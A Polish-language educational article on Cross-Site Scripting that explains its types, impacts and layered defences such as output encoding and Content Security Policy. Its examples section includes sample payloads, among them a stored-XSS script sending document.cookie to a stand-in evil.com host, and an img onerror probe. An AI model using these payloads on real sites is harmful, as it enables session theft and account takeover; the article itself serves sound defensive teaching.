Cross-Site Scripting (XSS) to jedna z najpowszechniejszych podatności w aplikacjach webowych, polegająca na wstrzyknięciu złośliwego skryptu (najczęściej JavaScript) do treści strony internetowej, który następnie wykonuje się w przeglądarce ofiary.
Atak XSS umożliwia kradzież danych użytkownika, przejęcie sesji i manipulację treścią strony, dlatego stanowi poważne zagrożenie dla serwisów WWW, forów oraz aplikacji z interakcją użytkownika.
W erze dynamicznych stron, gdzie dane wejściowe są powszechnie przetwarzane i wyświetlane, XSS pozostaje w czołówce zagrożeń według rankingów OWASP. Poniżej wyjaśniamy mechanizmy ataku, jego warianty, realne przykłady oraz skuteczne strategie obrony.
Czym dokładnie jest atak XSS?
XSS to podatność, w której atakujący wstrzykuje złośliwy kod do strony, aby kraść dane użytkowników lub przejmować ich sesje. Kod (zazwyczaj JavaScript) jest wyświetlany i wykonywany przez przeglądarkę innych użytkowników w kontekście zaufanej domeny.
Kluczowym mechanizmem bezpieczeństwa jest Same-Origin Policy (SOP), która ogranicza dostęp skryptów do danych z innych domen. XSS omija SOP, ponieważ przeglądarka uruchamia wstrzyknięty kod tak, jakby pochodził z zaufanej strony.
Jak działa atak XSS – mechanizm krok po kroku
Proces ataku zwykle dzieli się na trzy fazy: iniekcję, przechowywanie lub odbicie oraz wykonanie w przeglądarce ofiary:
- Iniekcja – atakujący testuje pola formularzy, parametry URL czy komentarze, wstrzykując próbne payloady (np.
<script>alert('XSS')</script>); - Przechowywanie lub odbicie – złośliwy kod trafia do aplikacji (np. do bazy) lub jest natychmiast zwracany w odpowiedzi HTTP;
- Wykonanie – przeglądarka ofiary interpretuje i uruchamia skrypt z uprawnieniami strony, co umożliwia dostęp do cookies, wysyłanie żądań czy modyfikację DOM.
Przykładowy scenariusz: użytkownik odwiedza zarażoną stronę, a skrypt wysyła jego ciasteczka sesyjne na serwer atakującego.
Rodzaje ataków XSS – szczegółowa klasyfikacja
XSS dzieli się na kilka typów w zależności od sposobu wstrzyknięcia i wykonania. Oto zestawienie kluczowych różnic:
| Typ XSS | Opis | Przykłady zastosowania | Poziom zagrożenia |
|---|---|---|---|
| Odbity (reflected) | Złośliwy skrypt jest wstrzyknięty za pomocą parametru URL lub formularza i od razu zwrócony w odpowiedzi HTTP; wykonywany jednorazowo w przeglądarce ofiary. | Phishingowe linki, złośliwe reklamy. | Średni (jednorazowy) |
| Trwały (stored/persistent) | Kod jest zapisywany trwale w bazie danych (np. komentarz) i serwowany każdemu użytkownikowi strony. | Fora, systemy komentarzy, profile użytkowników. | Wysoki (masowy) |
| Oparty na DOM (DOM-based) | Atak po stronie klienta: manipulacja Document Object Model (DOM) przez niebezpieczne funkcje JS, takie jak eval() czy innerHTML. |
Aplikacje jednostronicowe (SPA), manipulacja fragmentem URL (hash). | Średni–wysoki |
| XSS po stronie serwera (server-side) | Podatność po stronie serwera; skrypt wykonywany podczas renderowania odpowiedzi. | Błędy w silnikach szablonów i renderowania. | Wysoki |
| XSS po stronie klienta (client-side) | Wykonywanie i modyfikacja strony po załadowaniu w przeglądarce użytkownika. | Nowoczesne aplikacje HTML5 z localStorage. |
Zmienny |
Aktywne vs pasywne XSS – aktywne uruchamia kod natychmiast w przeglądarce ofiary, a pasywne przechowuje go i atakuje kolejnych użytkowników.
Przykłady ataków XSS w praktyce
Oto trzy częste scenariusze, które ilustrują różne wektory ataku:
- trwały XSS na forum – atakujący publikuje komentarz:
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>; każdy, kto wyświetli komentarz, wysyła ciasteczka na serwer atakującego; - odbity XSS przez URL – link
<a href="http://victim.com/search?q=<script>alert('XSS')</script>">Kliknij</a>uruchamia skrypt po kliknięciu ofiary; - DOM-based XSS – aplikacja parsuje
location.hash.slice(1)i wstrzykuje wartość doinnerHTML, co umożliwia wykonanie złośliwego kodu.
Atakujący często wykorzystują także zdarzenia, np. onerror w obrazkach: <img src=x onerror="alert('XSS')">.
Skutki ataków XSS – dlaczego to tak groźne?
Wykonany skrypt działa z uprawnieniami atakowanej strony, co otwiera drogę do szeregu nadużyć:
- kradzież cookies sesji i danych logowania,
- przejęcie konta użytkownika,
- keylogging lub podstawianie phishingowych formularzy,
- podmiana treści strony i manipulacja interfejsem,
- wysyłanie żądań w imieniu ofiary (np. przelewy, zmiana hasła).
Jak się bronić przed atakami XSS – kompleksowa strategia
Skuteczna obrona wymaga warstwowego podejścia, łączącego walidację wejścia, kodowanie wyjścia, polityki bezpieczeństwa, bezpieczne API oraz regularne testy i audyty.
1. Walidacja i sanityzacja danych wejściowych
Dbaj o to, by do aplikacji trafiały wyłącznie oczekiwane i znormalizowane dane:
- stosuj białe listy dopuszczalnych znaków, formatów i typów (np. regex, typy pól),
- usuwaj lub eskapuj niebezpieczne tagi i atrybuty (np.
<script>,on*), - normalizuj dane (np. dekodowanie encji, usuwanie niewidocznych znaków) przed walidacją.
2. Kodowanie danych wyjściowych
Koduj dane dokładnie w tym kontekście, w którym będą wyświetlane:
- konwertuj znaki specjalne w HTML (np.
<→<,>→>,"→"), - stosuj kodowanie kontekstowe: dla HTML, atrybutów, URL, JavaScript i CSS (różne reguły w zależności od miejsca wstrzyknięcia),
- korzystaj z frameworków z domyślnym enkodowaniem (np. React, Angular, Vue) i unikaj ręcznego wstawiania HTML.
3. Content Security Policy (CSP)
Wdrażaj CSP, aby ograniczyć powierzchnię ataku i utrudnić wykonanie wstrzykniętych skryptów:
- blokuj skrypty inline i z nieautoryzowanych źródeł (np.
Content-Security-Policy: script-src 'self'), - używaj nonce lub hash dla dozwolonych skryptów,
- włącz raportowanie naruszeń (np.
report-to/report-uri), aby szybciej wykrywać próby ataku.
4. Inne mechanizmy
Uzupełnij ochronę o dobre praktyki po stronie klienta i serwera:
- ustawiaj flagi HttpOnly i Secure dla cookies i rozważ SameSite,
- unikaj niebezpiecznych funkcji JS (np.
eval(),innerHTML,document.write) na rzecz bezpiecznych alternatyw (textContent,setAttribute), - używaj sprawdzonych bibliotek sanityzujących i API szablonów (np. mechanizmy escaping w silnikach templatingowych).
5. Testy i audyty
Wprowadź regularne testowanie bezpieczeństwa w całym cyklu wytwórczym:
- wykonuj pentesty i używaj skanerów DAST (np. Burp Suite, OWASP ZAP),
- włącz analizę SAST/IAST w CI/CD oraz testy jednostkowe pod kątem XSS (np. dla komponentów UI),
- prowadź code review z checklistą bezpieczeństwa i testami fuzzującymi wejścia.
Poniższa tabela porównuje metody obrony, ich zalety i ograniczenia:
| Metoda obrony | Zalety | Wady |
|---|---|---|
| Walidacja wejścia | Zapobiega iniekcji u źródła | Nie chroni przed wszystkimi kontekstami wykonania |
| Kodowanie wyjścia | Bezpieczne wyświetlanie w danym kontekście | Wymaga konsekwencji i świadomości kontekstów |
| CSP | Utrudnia wykonanie wstrzykniętych skryptów | Wymaga starannej konfiguracji i utrzymania |
| Frameworki/biblioteki | Automatyzacja wielu zabezpieczeń | Zależność od ekosystemu i konfiguracji |
Najlepsze praktyki dla deweloperów
Buduj ochronę warstwowo: od walidacji wejścia, przez kodowanie wyjścia, po CSP i testy w CI/CD. Korzystaj z nowoczesnych frameworków (Vue, React) z domyślnym enkodowaniem i unikaj wstrzykiwania surowego HTML.
Wraz ze wzrostem popularności SPA i rozbudowanych interfejsów, DOM-based XSS zyskuje na znaczeniu – dbaj o bezpieczne operacje na DOM. Regularne aktualizacje i szkolenia zespołu znacząco obniżają ryzyko. XSS nie jest nieunikniony – świadoma implementacja czyni aplikacje odporne.






